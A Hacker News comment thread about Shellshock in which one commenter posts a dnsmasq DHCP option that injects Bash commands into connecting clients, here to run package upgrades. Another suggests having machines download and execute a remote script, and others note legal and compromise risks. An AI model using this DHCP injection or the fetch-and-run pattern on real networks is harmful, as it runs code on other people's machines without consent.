Hacker Newsnew | past | comments | ask | show | jobs | submitlogin

So now we can have

dhcp-option-force=114,() { :; }; if hash apt-get 2>/dev/null; then apt-get update -y && apt-get upgrade -y;fi; if hash yum 2>/dev/null; then yum update;fi;

to upgrade most vulnerable systems that connect to our network :) What other upgrade commands are there?



That sounds like what Max Butler was busted for back in the late 1990's when he wrote a script to patch BIND[1]. It's a great story BTW.

http://en.wikipedia.org/wiki/Max_Butler#FBI_investigation.2C...


It would be even better if we could create a community driven script hosted at some trusted location that would basically download info how to upgrade specific distribution, and execute that script on the vulnerable system.. so something like wget fix && chmod +x fix && ./fix :)


Then what would happen if someone compromised the fix?


that would be one juicy target to compromise...




Guidelines | FAQ | Lists | API | Security | Legal | Apply to YC | Contact

Search: